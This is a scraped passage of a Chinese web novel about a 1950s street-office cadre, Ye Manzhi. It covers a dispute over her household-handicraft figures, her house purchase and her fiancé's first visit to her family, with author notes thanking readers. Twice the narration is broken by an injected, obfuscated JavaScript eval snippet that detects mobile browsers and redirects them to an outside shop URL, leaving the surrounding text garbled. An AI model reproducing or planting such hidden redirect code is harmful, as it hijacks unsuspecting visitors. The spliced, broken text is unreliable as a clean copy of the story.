“没有,这个月咱们光明街可能又得吊车尾。” 区里让光明街在春节前动员六百人返乡,而且每个月都要上报成功返乡人数。 上个月光明街的动员人数是全区最后一名,穆主任从区里回来后,黑脸好几天。 要求单位所有人员都要重视劝返工作,当然,这所有人员里,不包括凤姨和叶满枝。 凤姨就不用说了,人家是特殊分子,穆主任从最开始就没给她安排过劝返工作。 最让刘金宝受不了的是叶满枝。 因为搞了一个煤炉厂,吸纳了街道的闲散劳动力,叶满枝居然也不用参与劝返工作了! 早知道办厂有用,他也应该想办法办个厂的! 这个劝返工作,算是他工作以来遇到的最难啃的骨头! 街道众人羡慕叶满枝早早脱离苦海,但她这个厂长当得着实不轻松。 工厂规模扩大以后,经营管理有了难度。 各种报税啊,利润提留啊,工人工资啊,全都要从头学起,闹得她焦头烂额。 她每天上午守在街道办搞民政工作,下午的时间几乎都被这个小厂占据了。 不过,只要想想劝返工作的苦,叶满枝就格外珍惜她的煤炉厂。 除非劝返工作彻底结束,否则她是不会把厂长的位置拱手让人的! 刘金宝见不得她悠闲织毛衣,敲了敲她的桌子问:“先进个人的申报材料,你写完了吗?借我看看!” “咱俩的工作内容又不一样,你看我的有什么用啊?” 话虽如此,但叶满枝还是拉开抽屉,将自己昨晚刚写完的材料递给了他。 刘金宝当然知道不能照抄 她的申报材料,他主要是看看对方写了多少内容。 每逢这种写材料的时候,叶满枝总是所有人里写得最多的。 也不知她哪来那么多废话! 被她这样一衬托,自己好像什么工作也没干似的,实际他每天都快累成死狗了! 他现在算是明白了,干活干得好,不如材料写得好! 刘金宝随手翻了翻她这次的申报材料,惊讶地问:“你怎么才写了七页啊? 他也写七页。 叶满枝一边费劲地织一个花样,一边小声说:“咱们才参加工作不到一年,我感觉先进个人轮不到咱们这种新人,大概写一写就得了。 每个街道可以往区里报两个先进个人的名额。 然后按照排排坐分果果的惯例,各单位会有一人获得区级先进个人的奖项。 穆主任在报奖这方面比较公平,区里让选两个,但她让单位所有人都写一份材料交上去。 正副主任与他们不在一个赛道,凤姨主动放弃评奖,所以光明街道办可以报五份先进材料上去,让区评奖委员会自行筛选。 叶满枝那个煤炉厂办得还行,但别人分管的工作也不差,她在评奖方面吃了资历浅的亏,没什么特别大的优势。 所以,这种汇报材料,她只大概写了写,没有展开啰唆太多。 刘金宝觉得她此话有理,所以他也不打算修改自己那份了,将申报材料交上去以后,又出门搞劝返工作去了。 * 叶满枝织了一上午的毛衣,抽空练会儿字,下午又去银行给工人汇了这个月的工资。 从支行出来时,距离下班还有半个钟头,她不想回办公室,便钻进对面的电影院,花5分钱看了场《我这一辈子》。 结果笑着进去,哭着出来。 直到回了家,还在为电影里“我的遭遇伤怀。 常月娥瞧见她这副没精打采的样子,埋怨道:“你怎么才回来?我等你等得急死了! “什么事啊? 常月娥把她拉进房间,悄咪咪地问:“你那些稿酬没乱花吧? “没有啊,你不是说要给我买房子嘛,我存银行的活期有奖储蓄了,一分钱都没敢花。 她连买公债,都是用吴峥嵘的 存款买的。 “我本来想带你去看看房子,结果你回来这么晚,天都黑了,还怎么看房啊? 叶满枝不敢说自己溜去看电影了,哼哼哈哈地说:“买房子着什么急呀,我那些钱放在银行还能吃点利息呢! “人家小吴的奶奶都给你见面礼了,我能不着急嘛! 常月娥比闺女有见识,一看那翡翠镯子的水头,就知道价值不菲。 她给闺女在婚前置办一套房产,好歹算是一样拿得出手的陪嫁! 叶满枝看了眼手表说:“今天肯定去不成了,你给我讲一讲那房子的情况,咱们明天午休的时候去看看也行。 “我这阵子给你找了三套房子,一套在你三姨隔壁,守着江边,开窗就能看到江面。 “哇,这个好,叶满枝满意颔首,“我爱看江景,夏天还能去江里游泳,就这套吧。 她上次去参加吴峥嵘的同学聚会,就觉得人家那套木格楞江景房挺好的。 常月娥踌躇道:“江景好是好,但是不怕一万就怕万一,万一遇上洪水就麻烦了。洪水倒灌的话,最先被淹的房子都是沿江那一片的。 被她这样提醒,叶满枝也犹豫起来,她对小时候遭遇的洪涝灾害还记忆犹新呢。 “那其他两套呢? “第二套在你四姨家附近,省大南边,乘车差不多三站地的距离,第三套在你姥姥家那边。 叶满枝问:“你找的房子怎么不是挨着三姨四姨,就是挨着我姥姥家的? “你要是不常去住,甭管是出租还是闲置着,总得有个信得过的人帮忙照应,选在她们附近最方便! 叶满枝竖个大拇指,追问道,“后面这两套房子,哪个便宜点? “省大南边的1500,你姥姥家附近的1250块。 “那还是去看看1250这套吧,我就愿意挨着我姥姥和我大舅! 她总共只有八百块钱,父母给她贴补三百块以后,还有一百五的缺口呢,不知价格能否再谈一谈。 第二天午休时,叶满枝和常月娥乘车去看了那套房子。 青砖灰瓦的两间屋子维护得还不错,有厨房和菜窖,还带着一个小院儿。 院儿里栽着一棵柿子树,一 棵山楂树。 虽然没有连接市政自来水,但原主人自己打了一口水井,不用去街头的水站买水吃。 麻雀虽小,五脏俱全。 让叶满枝比较满意的是,这院子的院墙是砖砌的,而且高度喜人。 不特意跳上去观望的话,根本看不见院子内里的情况。 这比吴峥嵘那套篱笆墙小院更有安全感。 “舅妈,这房子的原主人是干什么的啊?叶满枝将舅妈拉到柿子树下,小声问。 虽然瞧着不像,但她还是要确认一下,别买到资本家的房子。 “放心,原房主跟你姥爷是一个厂的,小儿子在抗美援朝的战场上牺牲了,他们两口子算是烈属。 “那他们为什么卖房子啊?这房子应该有些年头了吧? “滨江只剩他俩了,人家想把房子卖了,去南京投靠女儿。 叶满枝对房子没什么可挑剔的,就是价格太贵了,这样的房子在他们光明街上顶多四百块钱。 舅妈抬手往马路上指了指,笑道:“大外甥,你怎么不看看这是什么地段!步行二十分钟到江边,紧挨着中国大街、菜市场和百货大楼!这能是你们那小旮旯能比的吗?听你妈说,你未来婆家住在省大那边是吧?从这里乘车去省大只需要四五站路,交通多方便呀! “关键是我手头的钱不够用呀,舅妈,这价格能再谈谈不? “我早帮你谈过好几回了,房主最多再降五十,这还是看在你姥爷的面子上。我们这一片的房子很少有私房了,东边有一户是去年卖的,只比这个院子多一个柴房,卖了1520块。舅妈拉着她问,“你还差多少钱? 叶满枝老实地答:“一百块。 “那妥了,舅妈笑道,“你姥姥早就放话了,不够的钱她给你补上。一百块的私房钱,老太太还是有的! 叶满枝从小跟姥姥学琵琶,祖孙感情自不必说。 她没假客气,笑嘻嘻道:“那我回头多给姥姥送几本时装书,让她跟邻居好好显摆显摆。等到春节拜年的时候,我还得多磕几个头呐! 与光明街相比,这里车水马龙,算得上是花花世界。 叶满枝有了城里的房子,偶尔也能带吴峥嵘进城见见世面啦! * 双方很快就办理了交割手续,由于叶满枝还要上班,所有手续都是常月娥帮她跑的。 叶满枝只在最后时刻,负责签字和交钱,还没捂热乎的八百块钱刷一下就没了。 她握着新房的钥匙,只能寄希望于院子里的柿子树和山楂树能尽快结出果子,让她吃点不花钱的水果。 有了一套自己的房子,让叶满枝容光焕发,整天神采奕奕。 不过,她这份好心情只保持了几天,就被张勤简打破了。 新一周的例会上,张勤简突然提到了往区里递交先进个人申报材料的事情。 “咱们在填报资料之前,曾反复强调过,一定要如实填写!有的年轻同志是怎么回事?”张勤简翻开自己的笔记本念道,“有人居然在申报材料上写‘治安水平得到大幅度提高,路不拾遗,夜不闭户!’你觉得这种话有人信吗?” 大家一起往刘金宝和赵二贺的方向看去。 这俩人是负责治安工作的,估计就是其中之一写的。 这样形容,确实有点夸张了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362667|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刘金宝摆手说:“都看我干啥?不是我写的!” 肯定是赵二贺那个二货写的! 张勤简清了清嗓子,继续说:“还有的同志更夸张!去年,全街家庭手工业的月平均收入才350块,这位同志在她的材料里写,自从她负责家庭手工业的工作以后,全街三个月收入3000余元,平均到每个月,几乎是去年的三倍!你咋就那么厉害啊?虚报数字也没有这么报的吧?” 众人一起将视线挪向叶满枝。 重新分工以后,家庭手工业是由叶满枝负责的。 这肯定是她写的啊! “人家区评奖委员会的同志给我打电话,特意说了这两位同志的情况。填报材料一定要如实填写,不得夸大事实!咱们在单位内部丢人就算了,不能丢人丢到区里去吧?” 张勤简承认,叶满枝最近把煤炉厂搞得挺好。 但一码归一码,家庭手工业跟国营工厂可不一样,全区也没有哪个街道能让家庭手工业的月收入达到一千块。 叶满枝睁大眼睛说:“主任,我没夸大事实呀!我的数据都是如实填报的!” 家庭手工业是每季度报税一次 前两月她没去报过税对于手工业的营收情况连她自己都没统计过。 上周她把三个月的收入总结了一下一起去报了税。 她就是按照缴税情况如实填写的呀! 赵二贺也跟着起哄:“主任我也是如实填报的呀治安情况本来就有大幅提高嘛!” 张勤简摆手说:“你俩别跟我狡辩了 作者有话要说 一百个红包明天见~ 感谢在2024-08-1411:29:11~2024-08-1421:05:08期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:三三得九1个; 感谢投出地雷的小天使:薛漂亮、冯卿卿1个; 感谢灌溉营养液的小天使:乜笙330瓶;华凰70瓶;清珞、恋爱要跟法国男人谈、冷月碧落散青石、胖微微50瓶;天天白日梦49瓶;森林纪事41瓶;胡马栖北风36瓶;清风明月呵呵哒→_→35瓶;missu2、匪漪、不承重不戴冠、Oblivion、忘崽、bhunji609208、Evy、落月暮西斜、回不去的、美、肆无忌惮の肆、墨染槿涩、左岸葵花20瓶;露、幻影18瓶;豆沙包、灵z、刚好日落、碧落、富婆预备役、李佳熹、斤台、水母我们去抓派大星吧、想做一颗小星星、星星star、沉默的稚味仙、27641450、人间好季节、言笑晏晏、yd、扑棠、Jelly、嘟嘟哔、你看起来很好吃、小龙女□□、14596、簇拥烈日的花、我是一个哈哈怪、曦月10瓶;韶光明媚9瓶;盗号霉运找新年开新颜8瓶;鲸鲸惊惊惊惊、陪你一起穿秋裤rio、46330214、38964072、墨姜、不想书荒的书虫、陆陆陆慢慢、双马尾胖虎、湛湛鲸、我家有萌宝、香樟路1248号、突然有点小悲伤、沅沅5瓶;花终暮、熊伴嫁4瓶;好好爱自己、严严不要熬夜玩手机、今天也很困、顏则正、tiamo、鱼儿3瓶;阿沐2023、宝贝、Tom和Amanda、钱唐、西开、魏婴2瓶;金色年华、瑞瑞、小砂子的深夜食堂、啦啦啦、xiaoxiao、syt、喵喵摸~、红糖酥饼、 姜姜酱酱、索老师、团子的早晨、鲈鱼轻轻、枳花明巡、一点也不烦1789、小丫、35252503、乔巴渣、蒜蓉鼠条、可尔必思、爱看小说的兔兔、板栗包、可可Coco啾啾啾、哔哩吧啦、北桥楠木、椰子椰子树、Happs、红领巾、云烁、龚俊什么时候出来玩、假人亦真、Pineapple、滴滴哒哒、木木心、crystal、秋秋糖、秋雨、natsuki、~维E安好~、星辰、追的文都不断更、球球、DXX、咿呀咿呀哟、xuanxuan127、70452730、大水嘻嘻、helloza、春天花花、完美斗金、嘀嗒嗒、雾弥、啦啦啦啦、55868838、43898501、三叶草??、‘早起的虫儿、被鸟吃、mimili、Karen星微、柠檬的柠的檬、影牙、我演戈多、63115858、圆子、絮月半里、Cynthia、Alice言、缺德三公主、27589763、然然然然然然然然、不出、57089820、刘文文文文文文文文文、妮妮、鲁米茜茜、啵一下有钱、番茄炒鸡蛋、涵涵妈、偶偶、柏、喂饱兔子、章鱼丸子、喵喵、桂花糖芋苗、徐徐徐莫庭、我不会放过任何更新、一杯柠檬红茶、D、谁说兔子就吃草、禾乌昂、微然、桃子家的阿狸、时引、airwind、jialuoyou、胖纸一饼、你清高,你坐莲花上、栗子?、ee、yangtt、行走的海豚、∞、嗷呜嗷呜小奶龙、喵喵Aya、想不出名字的马小马、Lychee、再瘦10斤、muza、afracao、垃圾晋江、毛猫、哦呦呦、西瓜、滴滴答滴滴、金子、23192904、香菇、豆子1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 54 章 新姑爷登门 第54章新姑爷登门 叶满枝目前分管着三项工作,民政、教育、家庭手工业。 开介绍信和婚姻登记,是直接面向居民的业务,民政的重要性自不必多说。 成人扫盲和小学教育,有穆主任的大力支持,如今也变成了街道办的重要工作之一。 相比前两项工作,家庭手工业就像地里黄的小白菜,虽然每次开会都被领导提及,其实没人真正关心。 而叶满枝正搞得如火如荼的煤炉厂,是大工业,不是家庭手工业。 家庭手工业是啥样的呢? 顾名思义,那是在家里就能操作的手工业,不需要开工厂,也不需要工商登记。 像二姐婆婆徐大娘负责的糊纸壳小组,各居委会召集的手套小组、缝纫小组、木匠小组、制坯小组、铁匠小组等等,他们生产出来的商品,才能归类为家庭手工业。 对街道办来说,发展家庭手工业的好处微乎其微。 为什么呢? 因为街道每月要给这些手工小组联系订单、分配任务,费了老鼻子劲,却不能从中截留利润,要把大部分收入留给居民,小部分交税。 而且从业人员又多又分散,特别不便于管理。 对街道办来说,家庭手工业投入大、产出小,除了能吸纳家庭妇女参加工作、拉高街道居民的平均收入,再没有太明显的优势。 主任副主任都不算太重视,叶满枝这个分管的小干部,其实也没怎么上心。 要不是张勤简突然提及,她甚至不知道去年的月平均收入只有350元。 “小叶,你填数字的时候,是不是填错了?”穆兰也不太相信小小的家庭手工业能有一千多块的月收入。 叶满枝找出她的记账本和税务所的完税证明,一起交给了穆主任。 这事也怪她自己。 她这几天沉浸在喜提新房的喜悦中,一直在瞎捉摸开春清理院子和打扫卫生的事情,再加上单位里对家庭手工业不太重视,她报完税以后就没有第一时间汇报给领导。 关键是,她当时并不觉得平均每月一千块的收入,算是什么特别大的成绩。 要是早知一千块是以前的三倍,她早就跟领导邀 功了! 穆兰仔细查验了她的账本和完税证明上面的数字确实能与她那份汇报材料的内容对得上。 那就不是填写错误了。 魏珍也将账本接过去翻看了一遍在叶满枝接手之前家庭手工业一直是由她分管的。 那工作有多难做她最清楚不过。 每天拉拉杂杂一大堆事情不说还看不到多少成绩。偶尔还要因为几个居委会之间抢生意出面调解矛盾。 小叶就算再能干也不可能刚一上手就让业绩直线飙升吧? 这个账本上详细记录了9月-12月的账目。 看得出来她9月刚接手时家庭手工业的收入并没有明显起色那个月的总收入是418.24元。 直到10月中旬以后才突然增加了很多莫名其妙的进账项目。 不但有锅碗瓢盆、菜板、锅盖、扫帚、丝线等杂七杂八的小玩意还有木床、风箱等大件最神奇的是居然还有9口棺材! 10月总计收入1351.43元。 “这这……”魏珍指着“棺材”那一行问“咱们手工小组里还承接制棺业务吗?” “对啊第三居委会那边有个曲师傅以前是在棺材铺做活的年纪大干不动了就教给他儿子。不过他儿子手艺不怎么样棺材铺没让他子承父业。”叶满枝解释说“656厂扩建不是要占用坟场嘛好多人家要迁坟来我这里登记的时候我就把曲师傅的儿子介绍给他们了。” 殡葬也是民政工作的一部分居民给先人迁坟之前 叶满枝因此能掌握第一手资料。 小曲师傅虽然手艺不如他爹但胜在便宜对于不想在迁坟这件事上破费太多的人家算是首选。 所以她两个月就给小曲师傅联系了17单业务。 由于订单太多他一个人忙不过来连老曲师傅都重新出山了。 穆兰认真看了她的账本把每个条目的单价总价都合计了一遍后指着“扫帚”那一栏问:“这个扫帚是哪种扫帚?单价怎么那么高?” “就是最普通的扫地扫帚。” 穆兰讶然:“扫地扫帚的收购价能高达4毛钱一把?” 如果扫帚的 收购价是4毛钱,那么放到市场和供销社里,零售价恐怕要达到六七毛了。 扫帚值这个价吗? 按照账本上的记录,10月份,光是扫帚这一项就卖出300把,收入120元。 叶满枝颔首说:“您去供销社逛逛就知道了,很多供销社的扫帚、拖把都缺货,凡是有货的,价格都不便宜。质量一般的4毛左右,质量好的能卖到7毛。咱们手工小组生产的就是质量好的那种。” 魏珍问出一个大家最关心的问题。 “小叶,我看你这账本上增加了许多新的手工项目,这些产品最后都销往哪里了?” 家庭手工业的订单由街道办负责联系。 为了能接到长期且稳定的订单,通常要为工厂生产配套产品。 比如给火柴厂生产火柴盒,给烟厂生产烟盒,给调料厂生产花椒面纸筒,帮制帽厂裁剪帽遮…… 但工厂只有那些,全市范围内却有几万个居民生产小组。 若想拿到工厂订单,也是需要走走关系、找找门路的。 小叶是656厂子弟,也许有这方面的人脉。 然而,叶满枝却理所当然地说:“这些新产品就是卖给批发市场和供销社的呀!” 众人:“……” 有点扯了。 供销社的大门有多难进,大家都清楚。 人家总不会因为你长得漂亮,就把产品收下吧? 赵二贺好奇地问:“小叶,你怎么说服供销社收下这些产品的?” “不用说服啊,市场上缺什么,我就让手工小组生产什么,只要产品生产出来,就能直接送进供销社的柜台。” “那你咋知道市场上缺什么?你总不能天天去市场上守着吧?” 叶满枝要负责婚姻登记,管着扫盲学校和煤炉厂,不可能再有时间去做市场调研了。 “商品信息是我四哥叶满桂,以及魏大爷提供给我的!” “哪个魏大爷?” “就是魏国进魏大爷,”见众人仍没反应,叶满枝只好说出对方那个诨名,“魏监进!” “哦哦哦~” 原来是他呀! 提起“魏监进”,大家瞬间恍然了。 魏监进在解放前是个经纪人 。 经纪人是干啥的呢? 就是帮买卖双方牵线搭桥的,收入主要来源于干股和回扣。 解放以后,这种吃回扣的经纪人被国家取缔了,大部分经纪人主动或被动转行。 有人去商店做了售货员,也有人被安排进工厂的供销部门。 魏大爷当时被分去“生猪交易服务所”当了业务员。 不过,他前年就退休了。 退休以后不忘初心,时不时就要帮人家牵线搭桥,赚点外快。 被工商和派出所抓住以后,死性不改,放出来之后继续干。 别人是二进宫,三进宫,魏大爷已经不知是第多少次进宫了,大家就给他起个外号叫“魏监进”。 像他这样的,主要以罚款和说服教育为主,所以,魏大爷也算是街道办的熟人。 一年总要被街道教育好几回。 穆兰一方面觉得小叶能把魏监进挖掘出来,算得上是知人善任,一方面又觉得这事不太靠谱。 “那魏国进没跟你要回扣吧?” “没有,我让他担任‘家庭手工服务社’的顾问了,他经常去各大市场转悠,所以我每个月给他报销8毛钱的交通费,那账本上都记了。” 叶满枝能跟魏大爷搭上线,还多亏了她四哥。 四哥那些花鸟鱼虫,就是魏大爷帮他找门路销出去的。 这俩人经常一起逛市场,全市各大市场都被他俩玩儿遍了。 8毛钱的交通费里,其实还有四哥的4毛,但她要是说四哥的车费也被她报销了,似乎有假公济私的嫌疑。 张勤简狐疑地问:“咱们什么时候有这个‘家庭手工服务社’的?” “我当时随口忽悠他的,”叶满枝赧然道,“没想到魏大爷还挺相信,干活特别起劲。” 众人:“……” 办公室里沉寂了很长时间,隔了不知多久,穆兰才打破沉默说:“我看还是可以开办一个‘家庭手工服务社’的,就让魏国进当顾问吧。” 他们是国家干部,不能骗老头干活。 这魏国进要是真能把家庭手工业的收入搞上去,由街道给他发点补贴也没什么。 “看来小叶这汇报材料填得没什么问题,”穆兰笑道,“老张,你 还是跟区里解释解释吧,这是咱们干部的真实成绩。另外,申报先进集体的材料也要重新整理一下,把家庭手工业取得的成绩加进去。” 她心里有点为叶满枝惋惜。 虽说她让四个年轻人都写了先进个人的申报材料,但那主要是为了鼓舞激励年轻人的。 评奖委员会考察的是一整年的成绩,原则上,先进个人必须工作满一年。 光明街的五份申报材料中,只有魏珍符合要求。 她今年在街道组织开办了一家养老院,把很多无儿无女,鳏寡孤独的老人送进养老院集中照料,在福利工作这方面也算成绩斐然。 这个先进个人的奖项,很可能会评给魏珍。 不过,家庭手工业的进步,兴许能为先进集体的奖项增加一些砝码。 …… 张勤简亲自往区里跑了一趟,向评奖委员会解释了家庭手工业数据造假的问题。 造假是不可能造假的,这就是我们街道的真实水平! 1956年第四季度,光明街的家庭手工业收入,位列正阳区第一,总金额是第二名前进街的两倍! 如果只是多个三五百块,区领导也许不会有什么想法。 但是一下子多了1500多块钱,那领导肯定要过问一下啦! 分管工业的副区长很快就组织了一个调研组,来光明街上调研。 收入翻倍的秘密,若是不被自己人点破,外人很难找出原因。 可是,魏监进是屡教不改的管制分子,在他当“顾问”的时候,又“进宫”了一次。 穆兰不可能把一个管制分子推出去,遂只能由着调研组自行摸索。 调研组看了叶满枝的账册,也去手工小组考察了情况,走访了家庭妇女。 除了发现他们的产品种类繁多,再没找到什么可以推广的经验。 * 调研组无功而返后,叶满枝以为这件事就这样过去了。 然而,过了没几天,穆兰突然回来宣布,光明街第四季度的家庭手工业成绩,在全市位居第二。 同比和环比增长都位列全市第一! 光明街因此取得了一个“走向社会主义工业化二等模范”的称号。 要不是时间太短,很可能 会得到“一等模范的称号。 这是叶满枝负责的工作,单位能因此得奖,她简直太光荣啦! 赶紧跟着大家一起啪啪鼓掌! “元旦过后,市里要举办‘工业劳动模范代表大会’,咱们街道这个二等模范要派人出席,同时也要向全市人民分享家庭手工业取得巨大进步的经验。穆兰望向叶满枝说,“小叶,你准备一下,到时候你跟我一起去参会,这部分工作是由你负责的,你上台去给大家分享一下。 “???叶满枝喃喃道,“主任,情况你都清楚的呀,这有啥可分享的? 她总不能把魏大爷分享出去吧? 穆兰知道这事不好办,但魏监进是叶满枝找来的,一事不烦二主,总结经验的事,也得由她负责! 这可把叶满枝愁坏了。 见到吴峥嵘时,她既忧愁又带点炫耀地说:“哎,只怪我当时没收收力,一不小心就把家庭手工业的成绩搞成全市第二了。这种经验怎么总结呀? 她投入大量精力的扫盲班和小学校还没见到成绩,反倒是无心插柳的家庭手工业先给单位争取到了一个模范称号。 吴峥嵘奇怪地问:“你自己做的工作,真的一点头绪都找不到? “其实能找到一点点,不过只是我的猜测,叶满枝低声说,“我最近又翻看了一下账本,发现魏大爷帮忙牵线的生意,大多是家用杂物,比如扫帚、拖把、擀面杖、晒衣服夹、菜板之类的。 除了棺材,以及帮煤炉厂生产的风箱,大多数都是日常家用小件。 “市场缺货的原因只有两个,一是居民抢购,二是厂家停产。这种家用小件一般不会出现抢购的情况,那就很可能是因为厂家停产了!我猜测,兴许与市里的政策有关,无论是工厂还是合作社,都在提倡‘服务大工业’,大家都去生产工业配套产品,这种日常家用小件自然就少有人生产了。 吴峥嵘赞许道:“这不是分析得挺好么,到时候你就这样说。 “这是我猜的,万一猜得不对,被人当场驳斥了,那我在台上多尴尬呀! 吴峥嵘语气寻常道:“很多发现都是从结果反推过程的,你只要坚信自己的结论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362668|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再寻找一些真实数据做支撑,没人会驳斥你。毕竟话语权掌握在胜利 者手里,你已经有过成功经验了。” 叶满枝犹犹豫豫地问:“要不我试试?” “不试还能怎么办?把魏监进推出去?” “嘿嘿,不许喊人家魏监进,”叶满枝纠正了他的称呼,又将自己的饭盒推给他说,“我吃不下了。” “炸蘑菇都不吃了?冬天难得能吃到鲜蘑菇。” 吴峥嵘把她剩的几口米饭吃了,剩下的半盒炸蘑菇用盖子扣好,留给她明天吃。 “明天就不脆了,你都吃了吧。”叶满枝没什么胃口,撑着下巴盯着他吃饭,“听我爸说部队的工作组给咱们厂军代室的工作评了一个特优?你可真厉害!” “还可以,主要是大家支持军代室的工作。” 叶满枝不满道:“我爸说全国所有军工厂只评了五个特优,咱们厂就是其中之一。这么大的成绩,你还谦虚什么呀!军代表同志,你有什么先进经验可以跟我这个‘二等模范’分享一下吗?” 吴峥嵘已经听她提过四五遍“二等模范”了,心说小叶干部还挺虚荣的。 他唇边抑制不住地带出笑意,隔了一会儿才说:“我的经验就是少管闲事。” 叶满枝:“……” 这算什么先进经验啊? “你是不是在糊弄我?” “没有,你应该听说了吧,军代室的监督范围是很大的,在有的工厂,产品的每道生产工序都需要军代室出面签字,不签字就不能继续生产。” “嗯,咱们656不是这样吗?” “以前是,现在不是了。” 吴峥嵘来了656以后,就将整套监督程序简化了。 他只在技术资料制定、原材料检验,以及成品验收的时候签字。 其他环节几乎都被他取消了。 过于繁琐的程序,会激化军方和厂方的矛盾,很多工厂的军代表都与厂领导不合。 究其原因就是军代室管得太宽了。 军代室验收产品的时间在月中,如果程序过于繁琐,很可能直到月底都验收不完。 到时候会直接影响车间工人的评优和奖金。 时间久了,自然会激化双方矛盾。 其他厂的军代表动不动就被厂领导告到中央,但吴峥嵘不爱管闲事 所以与厂领导相处和谐。 656厂军代室能拿到这个特优评价其实全靠同行衬托。 叶满枝听了他的经验分享佩服地说:“军代表同志你这就是抓主要矛盾的典型啊!回头我要把你的经验写到日记里以后好好琢磨琢磨。” 吴峥嵘有点受不了她什么事都要写进日记里的习惯。 而且他真不觉得这个“特优”的含金量有多高可能与她那个“二等模范”不相上下吧。 他把剩下的几口饭快速吃完收好饭盒说:“走吧别提工作了我元旦要去拜访老丈人和丈母娘你给我讲讲家里的情况。” 叶满枝戴上帽子手套小跑着紧随他走出食堂。 “我家的情况你不是清楚嘛除了我爸妈还有两个姐姐、两个姐夫三个哥哥和两个嫂子我姐应该不会带孩子过来 叶满枝想了想又连忙问:“你应该知道第一次相看姑爷的流程吧?” “差不多吧。” 吴峥嵘暗道第一次登门还能有什么流程? 无非是与叶家人见面喝酒吃饭。 除了她五哥叶家男人他都认识。 叶满枝怕他不懂这些再次提醒:“到时候家里来人可能会比较多毕竟是未来新姑爷第一次上门大家都想来瞧热闹。” 吴峥嵘不怕人看既然要娶人家姑娘总要尽快融入对方家庭的。 他按照叶满枝的建议准备了元旦登门要带的礼物。 烟酒之类的他还回省大老宅搜罗了一些。 元旦这天是礼拜二全国的公休假期。 吴峥嵘穿戴整齐焕然一新上午就带着准备的礼物前往叶家所在的家属楼。 叶满枝在楼栋口等他甫一见面就再次提醒:“今天家里人特别多你先有个心理准备啊!” “嗯。” 吴峥嵘早就准备好了提着礼物与她来到三楼。 刚走到楼梯口就听到了从叶家门内传出的欢笑声。 叶满枝将他领到自家门口大门尚未完全打开吴峥嵘便瞧见了里面的情景。 “……” 这屋子里少说得有三十人吧? 叶满枝见他神 情滞涩,不由低声解释:“我大舅和三个姨也来了,你不是说知道相看流程吗?天上雷公,地上舅公。天大地大,舅舅最大。我带对象回家,我大舅是一定要出面的!他说话比我爸还管用呢。我爸的态度无所谓,你把我大舅陪好就行了! 吴峥嵘:“…… 作者有话要说 一百个红包,明天见~ 感谢在2024-08-1421:05:08~2024-08-1512:16:19期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:晃晃、格鲁米特、722839081个; 感谢灌溉营养液的小天使:卷心菜90瓶;404nofound、wuli夫仔88瓶;黄花菜86瓶;晴空万里51瓶;花花家的虎虎、鑫淼shifay、工作嘛谁能不疯50瓶;胖微微44瓶;哎呀呀、丫丫40瓶;不看评论区会更快乐30瓶;可可粉不加糖27瓶;墨染槿涩、松萝共倚、脚脚、爱的那么认真、抛出一个异常、汤加菲、一三三、迷糊20瓶;坚强_(:з」∠)_、毛利人MAORI15瓶;小时候、anuo14瓶;金枪鱼罐头晚上好、贴贴、id都带99612瓶;玫瑰的名字、思念没脚走不远、疯一样的子、晼笛、29076760、格林、一挖一麻袋、吉吉、叶子sama、罗小妞妞、summer、不要受委屈!、一条水里的活鱼、子非鱼、yaya。、110、祈年、喜欢CC、爱吃土豆、天马、于胖豆丶、茜嘻10瓶;绿色小精灵8瓶;圆子7瓶;小年在冬天、清描淡写、sai好きです、书荒找文中6瓶;46330214、wuyun、水炖鸽子精、浩浩汤汤、zhunzhunbiu、孔拉德.维尔卿、winter、zzzy、一颗七七、星星star、嘀嗒嗒、23491722、小说是我唯一的爱、禾伙人、纸鸢、啦啦啦啦5瓶;yoyo4瓶;要发大财3瓶;30597907、tiamo、么么哒、兰迦、白了个白、穿越星际、今天也很困、我家有萌宝、阳光、柠檬精、沅沅、47473392、bingmay2瓶;小鱼尾巴、尚千辰、小丫、一杯柠檬红茶、20521816、喵朵、微然、 第 55 章 叶满枝是宝贝蛋 第55章叶满枝是宝贝蛋 叶家上次这般热闹,还是相看二姐夫的时候。 但二姐的姥姥只生了一儿一女,李大舅把全家都带来,也不过凑了二十人。 这回相看叶满枝的对象,常家不但派出了一个舅和三个姨的豪华阵容,大舅还把自家的四个儿子也带来壮声势了。 吴峥嵘走进叶家大门时,首先面对的就是叶满枝的三个亲哥和四个表哥。 三个亲哥还好。 四个表哥可真是又高又壮又结实。 他生出的第一个念头竟是,有这体格,不当兵可惜了。 常大舅对他脸上的惊讶神情非常满意,常家三代人都在灌肠厂工作,从来没缺过肉吃,全家男人的体型都是一脉相承的壮实。 虽然未来姑爷是个军官,但他们这边也不差什么,以后想欺负他家姑娘,还是要掂量掂量的! 大舅装模作样地在小儿子肩上拍了一下,呵斥道:“客人都来了,你们还在这里堵着干嘛?赶紧把小伙子让进来!” 吴峥嵘双手都提着东西,便没有给他敬礼,自然地喊了声“大舅”,而后又与第一次正式见面的丈母娘打了招呼。 常月娥欢喜地应了一声,热情地招呼道:“小吴,快进来坐!来芽是我们家最小的姑娘,听说她对象要来家里做客,长辈们都想来认认人儿。今天家里的亲戚朋友多,你别见怪啊!” 她只透过楼道的窗户,打量过几次送来芽回家的吴峥嵘。 